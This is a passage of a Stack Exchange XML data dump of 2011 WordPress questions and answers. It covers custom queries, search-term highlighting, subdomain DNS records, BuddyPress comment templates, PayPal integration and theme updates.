blog?" Tags="&lt;best-practices&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="16069" PostTypeId="1" CreationDate="2011-05-01T01:38:46.743" Score="0" ViewCount="65" Body="&lt;p&gt;Hello this is my query. I want to show the titles of posts that have fullfil the following but it doesn't show anything, I don't know. Thank you!&#xA;Also, is there another way to show the results, more wordpress-like?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$theposts = $wpdb-&amp;gt;get_results(&quot;SELECT post_title FROM $wpdb-&amp;gt;posts&#xA;    WHERE ID IN&#xA;(&#xA;   SELECT DISTINCT post_id&#xA;   FROM $wpdb-&amp;gt;postmeta&#xA;   WHERE meta_key = 'extra1' AND meta_value = 'test'&#xA;)&quot;);&#xA;&#xA;foreach ($theposts as $thepost) {&#xA;echo $thepost-&amp;gt;post_title;&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5015" LastEditorUserId="5015" LastEditorDisplayName="" LastEditDate="2011-05-01T01:53:49.753" LastActivityDate="2011-06-30T11:19:19.877" Title="Problem on displaying the results on my query" Tags="&lt;query&gt;" AnswerCount="1" />
  <row Id="16070" PostTypeId="1" CreationDate="2011-05-01T02:18:37.333" Score="3" ViewCount="289" Body="&lt;p&gt;How can I get the search terms highlighted without plugin?  &lt;/p&gt;&#xA;" OwnerUserId="5020" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-01T02:39:56.973" LastActivityDate="2011-07-22T00:24:49.277" Title="How to highlight search terms without plugin" Tags="&lt;search&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="16071" PostTypeId="2" ParentId="16070" CreationDate="2011-05-01T02:38:55.757" Score="2" ViewCount="" Body="&lt;p&gt;Add these 2 functions to your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function search_excerpt_highlight() {&#xA;    $excerpt = get_the_excerpt();&#xA;    $keys = implode('|', explode(' ', get_search_query()));&#xA;    $excerpt = preg_replace('/(' . $keys .')/iu', '&amp;lt;strong class=&quot;search-highlight&quot;&amp;gt;\0&amp;lt;/strong&amp;gt;', $excerpt);&#xA;&#xA;    echo '&amp;lt;p&amp;gt;' . $excerpt . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;function search_title_highlight() {&#xA;    $title = get_the_title();&#xA;    $keys = implode('|', explode(' ', get_search_query()));&#xA;    $title = preg_replace('/(' . $keys .')/iu', '&amp;lt;strong class=&quot;search-highlight&quot;&amp;gt;\0&amp;lt;/strong&amp;gt;', $title);&#xA;&#xA;    echo $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To use the_content for your search results use the function below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function search_content_highlight() {&#xA;        $content = get_the_content();&#xA;        $keys = implode('|', explode(' ', get_search_query()));&#xA;        $content = preg_replace('/(' . $keys .')/iu', '&amp;lt;strong class=&quot;search-highlight&quot;&amp;gt;\0&amp;lt;/strong&amp;gt;', $content);&#xA;&#xA;        echo '&amp;lt;p&amp;gt;' . $content . '&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your loop or search.php file call &lt;code&gt;&amp;lt;?php search_title_highlight(); ?&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php the_title(); ?&amp;gt;&lt;/code&gt; and use &lt;code&gt;&amp;lt;?php search_excerpt_highlight(); ?&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your css add the search-highlight class which will highlight all searched words in yellow.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.search-highlight {&#xA;    background:#FFFF00  &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-01T07:31:45.377" LastActivityDate="2011-05-01T07:31:45.377" CommentCount="1" />
  <row Id="16072" PostTypeId="1" CreationDate="2011-05-01T02:20:33.040" Score="-1" ViewCount="120" Body="&lt;p&gt;My domain points to a rails app hosted on Heroku. Is it possible to have blog.mydomain.com point to a WordPress installation somewhere else, e.g. Dreamhost?&lt;/p&gt;&#xA;" OwnerUserId="5023" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-01T08:13:57.790" LastActivityDate="2011-05-01T08:13:57.790" ClosedDate="2011-05-01T22:05:25.260" Title="How do I create DNS records" Tags="&lt;hosting&gt;&lt;domain&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="16073" PostTypeId="2" ParentId="16072" CreationDate="2011-05-01T03:10:55.260" Score="0" ViewCount="" Body="&lt;p&gt;Add a DNS A record to point the subdomain to the different server's ip address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com IN A 321.1.22.55&#xA;blog IN A 123.2.33.45.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-01T03:10:55.260" />
  <row Id="16074" PostTypeId="2" ParentId="16070" CreationDate="2011-05-01T03:39:36.187" Score="-1" ViewCount="" Body="&lt;p&gt;@Chris. I really appreciate your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your snippets does highlight the key words in the Title of the post BUT NOT in the post content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &quot;the_content&quot; instead of &quot;the_excerpt&quot; for posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion how to get the terms highlighted in the post content in addition to the post title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks again Chris.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="5021" LastEditorDisplayName="" LastEditDate="2011-05-01T04:44:57.997" LastActivityDate="2011-05-01T04:44:57.997" CommentCount="4" />
  <row Id="16075" PostTypeId="2" ParentId="16067" CreationDate="2011-05-01T04:00:44.750" Score="0" ViewCount="" Body="&lt;p&gt;Having two separate &lt;a href=&quot;http://codex.wordpress.org/Taxonomies&quot; rel=&quot;nofollow&quot;&gt;taxonomies&lt;/a&gt; may make sense for you in this case.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-01T04:00:44.750" CommentCount="1" />
  <row Id="16076" PostTypeId="1" AcceptedAnswerId="16090" CreationDate="2011-05-01T04:31:44.147" Score="1" ViewCount="70" Body="&lt;p&gt;Is there any free starter theme to make mobile websites using WordPress?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T12:43:49.217" LastActivityDate="2011-05-31T16:07:35.073" Title="Free starter theme to make mobile websites?" Tags="&lt;theme-development&gt;&lt;mobile&gt;" AnswerCount="2" />
  <row Id="16077" PostTypeId="1" AcceptedAnswerId="16229" CreationDate="2011-05-01T04:57:05.810" Score="0" ViewCount="279" Body="&lt;p&gt;I've read several examples of how to do this but I still can't get it to work - each time I use get_posts() it seems to only keep and display the first set of results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;loop.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function home_index() {&#xA;&#xA;global $post;&#xA;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;$args = array(&#xA;    'numberposts'     =&amp;gt; 3,&#xA;    'offset'          =&amp;gt; 0,&#xA;    'orderby'         =&amp;gt; 'post_date',&#xA;    'order'           =&amp;gt; 'DESC',&#xA;    'post_type'       =&amp;gt; 'gp_news',&#xA;    'post_status'     =&amp;gt; 'publish',&#xA;    'meta_key'        =&amp;gt; '_thumbnail_id',&#xA;    'meta_value'      =&amp;gt; 1,&#xA;    'meta_compare'    =&amp;gt; '&amp;gt;='&#xA;);&#xA;&#xA;$myposts = get_posts( $args );&#xA;&#xA;foreach( $myposts as $post ) {&#xA;    setup_postdata($post);&#xA;    echo '&amp;lt;li&amp;gt;';&#xA;&#xA;    if ( has_post_thumbnail() ) {&#xA;        the_post_thumbnail( 'homepage-thumbnail' );&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;news &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Permalink to &amp;lt;?php esc_attr(the_title()); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;Continue...&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;}&#xA;&#xA;$args = array(&#xA;    'numberposts'     =&amp;gt; 1,&#xA;    'offset'          =&amp;gt; 0,&#xA;    'orderby'         =&amp;gt; 'post_date',&#xA;    'order'           =&amp;gt; 'DESC',&#xA;    'post_type'       =&amp;gt; 'gp_competitions',&#xA;    'post_status'     =&amp;gt; 'publish',&#xA;    'meta_key'        =&amp;gt; '_thumbnail_id',&#xA;    'meta_value'      =&amp;gt; 1,&#xA;    'meta_compare'    =&amp;gt; '&amp;gt;='&#xA;);&#xA;&#xA;$myposts = get_posts( $args );&#xA;&#xA;foreach( $myposts as $post ) {&#xA;    setup_postdata($post);&#xA;    echo '&amp;lt;li&amp;gt;';&#xA;&#xA;    if ( has_post_thumbnail() ) {&#xA;        the_post_thumbnail( 'homepage-thumbnail' );&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;h1&amp;gt;competition &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Permalink to &amp;lt;?php esc_attr(the_title()); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;Continue...&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;}&#xA;&#xA;echo '&amp;lt;/ul&amp;gt;';   &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3545" LastActivityDate="2011-05-03T10:43:32.747" Title="Displaying multiple post types on home page" Tags="&lt;custom-post-types&gt;&lt;3.1&gt;&lt;get-posts&gt;&lt;the-loop&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="16078" PostTypeId="2" ParentId="16077" CreationDate="2011-05-01T06:09:53.157" Score="-1" ViewCount="" Body="&lt;p&gt;can you check your error log for apache?&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-01T06:09:53.157" CommentCount="1" />
  <row Id="16079" PostTypeId="1" CreationDate="2011-05-01T06:23:01.550" Score="0" ViewCount="115" Body="&lt;p&gt;this is my code. It gets the variables from the url. It is very slow and sometimes don't even complete. How can I improve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Most of the times some of the variables will not have any value. I thought that if I check this and remove it's array from the query it will improve it somehow.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value1 = $_GET['extra1'];&#xA;$value2 = $_GET['extra2'];&#xA;$value3 = $_GET['extra3'];&#xA;$value4 = $_GET['extra4'];&#xA;$value5 = $_GET['extra5'];&#xA;$value6 = $_GET['extra6'];&#xA;$value7 = $_GET['extra7'];&#xA;$value8 = $_GET['extra8'];&#xA;$value9 = $_GET['extra9'];&#xA;$value10 = $_GET['extra10'];&#xA;&#xA;$args = array(&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; extra1,&#xA;            'value' =&amp;gt; $value1,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra2,&#xA;            'value' =&amp;gt; $value2,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra3,&#xA;            'value' =&amp;gt; $value3,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra4,&#xA;            'value' =&amp;gt; $value4,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra5,&#xA;            'value' =&amp;gt; $value5,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra6,&#xA;            'value' =&amp;gt; $value6,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra7,&#xA;            'value' =&amp;gt; $value7,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra8,&#xA;            'value' =&amp;gt; $value8,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra9,&#xA;            'value' =&amp;gt; $value9,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; extra10,&#xA;            'value' =&amp;gt; $value10,&#xA;            'compare' =&amp;gt; '='&#xA;        )&#xA;    )&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&#xA;if ( $query-&amp;gt;have_posts() ) : &#xA;    while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;        the_title();&#xA;    endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5015" LastActivityDate="2011-08-31T09:37:32.643" Title="Slow speed and high CPU usage for my code. How to improve it?" Tags="&lt;wp-query&gt;" AnswerCount="2" />
  <row Id="16080" PostTypeId="2" ParentId="16072" CreationDate="2011-05-01T06:29:19.813" Score="0" ViewCount="" Body="&lt;p&gt;Depending on your domain provider most have a dns manager. in a normal setup that is untouched there would be 2 A records&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;www @&lt;/li&gt;&#xA;&lt;li&gt;@ 123.2.42.343 &amp;lt;-- this number is different for every host&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;if you used the Heroku nameservers then you need to make sure you setup the domain to use its built in dns manager and create new a records&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you post your domain provider and wether or not you are using nameservers or dns manager&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So once your you have access to your dns manager then you would create 1 new record and edit 1 record&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit your current @ record and point it to the ip address you have at Heroku then create a new a record with the host being blog and the &quot;points to&quot; to your new host ip address and you can leave the ttl at what ever value&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-01T06:29:19.813" CommentCount="2" />
  <row Id="16081" PostTypeId="2" ParentId="16065" CreationDate="2011-05-01T06:39:11.603" Score="0" ViewCount="" Body="&lt;p&gt;can you revert back to when it was working and try update manually?&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-01T06:39:11.603" />
  <row Id="16082" PostTypeId="2" ParentId="16059" CreationDate="2011-05-01T06:50:45.367" Score="1" ViewCount="" Body="&lt;p&gt;Playing around with CSS transitions and transforms a bit. It only works in Webkit (Safari, Chrome) and it is not finished. You may like the idea, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/Jv3tm/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/Jv3tm/1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;ads&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;http://dummyimage.com/200x100/0f0/000&amp;amp;text=ad1&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;http://dummyimage.com/200x100/f0f/000&amp;amp;text=ad2&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;http://dummyimage.com/200x100/06f/000&amp;amp;text=ad3&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ads li { margin:1em; text-align:center; }&#xA;#ads img { -webkit-transition:-webkit-transform 0.5s linear; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;    $('#ads img').each(function(i) {&#xA;        $(this).css({&#xA;            '-webkit-transition-delay': (i/2) + 's'&#xA;            ,'-webkit-transform': 'scale(1.2)'&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;@xLRDxREVENGEx: agreed on your point about this being annoying behavior.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-04T16:04:39.570" LastActivityDate="2011-05-04T16:04:39.570" CommentCount="1" />
  <row Id="16083" PostTypeId="1" AcceptedAnswerId="16091" CreationDate="2011-05-01T07:23:11.797" Score="0" ViewCount="141" Body="&lt;p&gt;With Disqus, can I allow the most 'liked' or 'favorited' comments to rise to the top, sort of like YouTube? If not, are there any other commenting systems that have this functionality built in?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-05-01T10:38:33.207" Title="disqus: comments that've been liked the most rise to the top...like youtube?" Tags="&lt;disqus&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16084" PostTypeId="1" AcceptedAnswerId="16085" CreationDate="2011-05-01T08:04:32.763" Score="0" ViewCount="57" Body="&lt;p&gt;I'd like to modify the &lt;strong&gt;comments list&lt;/strong&gt; (comments left by users) on WP site using BuddyPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;comments.php&lt;/strong&gt; I narrowed it down to the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_comments( array( 'callback' =&amp;gt; 'bp_dtheme_blog_comments' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clue where I can find &lt;strong&gt;bd_dtheme_blog_comments&lt;/strong&gt;, and the best way to modify it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4194" LastEditorUserId="4194" LastEditorDisplayName="" LastEditDate="2011-05-01T08:14:02.900" LastActivityDate="2011-05-01T08:50:44.117" Title="How to modify the comments list in WP &amp; BuddyPress?" Tags="&lt;comments&gt;&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="16085" PostTypeId="2" ParentId="16084" CreationDate="2011-05-01T08:50:44.117" Score="0" ViewCount="" Body="&lt;p&gt;Just search though your source code to find the function definition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's in &lt;code&gt;plugins/buddypress/bp-themes/bp-default/functions.php&lt;/code&gt;, and you can create your own version in your theme that should override the supplied one.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-01T08:50:44.117" CommentCount="1" />
  <row Id="16086" PostTypeId="1" AcceptedAnswerId="16241" CreationDate="2011-05-01T09:34:53.710" Score="2" ViewCount="419" Body="&lt;p&gt;This is probably a stupid question, but I am setting up a finnish Wordpress installation. The &quot;custom fields&quot; section in the &quot;write post&quot; section is gone; I gather it is hidden by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is a great step, but my finnish is a bit rusty, it's my first WP install, and I can't for the life of me find the switch to turn it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I do this?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Martin shows a way to do this on a per-post basis, thanks for that. In my case, it would be useful to &lt;em&gt;always&lt;/em&gt; show custom fields, so extra brownie points for anybody who can give me a hint on how to do that. I can't find any documentation on this. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2161" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-03T12:40:01.200" LastActivityDate="2011-05-03T13:58:37.373" Title="How to activate &quot;custom fields&quot; section in WP3" Tags="&lt;custom-field&gt;&lt;wp-admin&gt;&lt;screen-options&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="16087" PostTypeId="2" ParentId="16086" CreationDate="2011-05-01T09:42:17.293" Score="3" ViewCount="" Body="&lt;p&gt;Go to edit/create a page or post in wp-admin at the top is a &quot;Screen Options&quot; panel link, here you can enable custom fields for that particular page or post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/nuYum.png&quot; alt=&quot;Screen Options tab (closed)&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/2Suot.png&quot; alt=&quot;Screen Options tab (opened)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of metaboxes displayed by default &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14212&quot; rel=&quot;nofollow&quot;&gt;was reduced in 3.1&lt;/a&gt;. If you want to change the default for all users you can hook into &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/includes/template.php#L1055&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;default_hidden_meta_boxes&lt;/code&gt; filter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-01T10:38:22.347" LastActivityDate="2011-05-01T10:38:22.347" CommentCount="2" />
  <row Id="16088" PostTypeId="1" AcceptedAnswerId="16089" CreationDate="2011-05-01T09:46:06.430" Score="0" ViewCount="169" Body="&lt;p&gt;Hi does anybody know where i can find a PayPal API tutorial that can help to point me in the right direction, What im needing is something that when payment is verified by paypal it bounces through some code to update_user_meta and also a few fields in a custom table in wp database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information that i can find via google is pretty vague in what im requiring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&#xA;Martin&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-16T10:44:25.410" Title="Paypal API and Wordpress" Tags="&lt;user-roles&gt;&lt;paypal&gt;" AnswerCount="1" />
  <row Id="16089" PostTypeId="2" ParentId="16088" CreationDate="2011-05-01T09:52:19.110" Score="1" ViewCount="" Body="&lt;p&gt;Try working through the source code of a plugin such as &lt;a href=&quot;http://xavisys.com/wordpress-plugins/paypal-framework/&quot; rel=&quot;nofollow&quot;&gt;PayPal Framework&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your question, the WP side is fairly trivial, but you should study general PayPal tutorials to understand the API, for example,  here's the first search result from Google for PayPal API tutorial: &lt;a href=&quot;http://net.tutsplus.com/tutorials/php/using-paypals-instant-payment-notification-with-php/&quot; rel=&quot;nofollow&quot;&gt;Using PayPal's IPN with PHP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also some additional helpful info can be found &lt;a href=&quot;https://www.paypal.com/ph/cgi-bin/webscr?cmd=_additional-payment-integration-outside&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="4474" LastEditorDisplayName="" LastEditDate="2011-06-16T10:44:25.410" LastActivityDate="2011-06-16T10:44:25.410" CommentCount="1" />
  <row Id="16090" PostTypeId="2" ParentId="16076" CreationDate="2011-05-01T09:56:11.043" Score="2" ViewCount="" Body="&lt;p&gt;Yes, there are a few - did you search for them? Here are the top results from Google:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wptouch/&quot; rel=&quot;nofollow&quot;&gt;WPTouch&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/carrington-mobile&quot; rel=&quot;nofollow&quot;&gt;Carrington Mobile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-pack/&quot; rel=&quot;nofollow&quot;&gt;WordPress Mobile Pack&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-01T09:56:11.043" />
  <row Id="16091" PostTypeId="2" ParentId="16083" CreationDate="2011-05-01T10:38:33.207" Score="0" ViewCount="" Body="&lt;p&gt;You can use other plugins to do this too. Here are some I can think off:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://intensedebate.com/&quot; rel=&quot;nofollow&quot;&gt;IntenseDebate&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/comment-rating/&quot; rel=&quot;nofollow&quot;&gt;Comment Rating&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/commentsvote/&quot; rel=&quot;nofollow&quot;&gt;Comments Vote&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would suggest you use &lt;a href=&quot;http://intensedebate.com/&quot; rel=&quot;nofollow&quot;&gt;IntenseDebate&lt;/a&gt; by Automattic which means it will always be up-to-date and most compatible with your site.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-05-01T10:38:33.207" CommentCount="1" />
  <row Id="16092" PostTypeId="2" ParentId="16069" CreationDate="2011-05-01T10:48:21.517" Score="1" ViewCount="" Body="&lt;p&gt;You need to use WordPress meta query:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Display posts where the custom field key is 'extra1' and the custom field value is 'test':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( array( 'meta_key' =&amp;gt; 'extra1', 'meta_value' =&amp;gt; 'test' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more info take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP Query Custom_Field_Parameters&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-05-01T10:48:21.517" />
  <row Id="16093" PostTypeId="1" AcceptedAnswerId="16099" CreationDate="2011-05-01T11:27:29.720" Score="4" ViewCount="193" Body="&lt;p&gt;the question is simple :) I am making a theme that i will use in lots of sites. So, i don't want to go all the site and ftp the files every time i fix a bug or do a theme upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way i can make a update system like the plugins hosted in wordpress plugin directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to your answer. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solved:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Chip Bennett for his excellent link. The update library for themes is now available in that site. You can find it here: &lt;a href=&quot;http://w-shadow.com/blog/2011/06/02/automatic-updates-for-commercial-themes/&quot; rel=&quot;nofollow&quot;&gt;http://w-shadow.com/blog/2011/06/02/automatic-updates-for-commercial-themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always consider donation if you see some excellent work that made available for free.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-06-08T17:09:28.023" LastActivityDate="2011-06-08T17:09:28.023" Title="Making update notification functionality for my themes" Tags="&lt;theme-development&gt;&lt;updates&gt;" AnswerCount="2" FavoriteCount="3" />
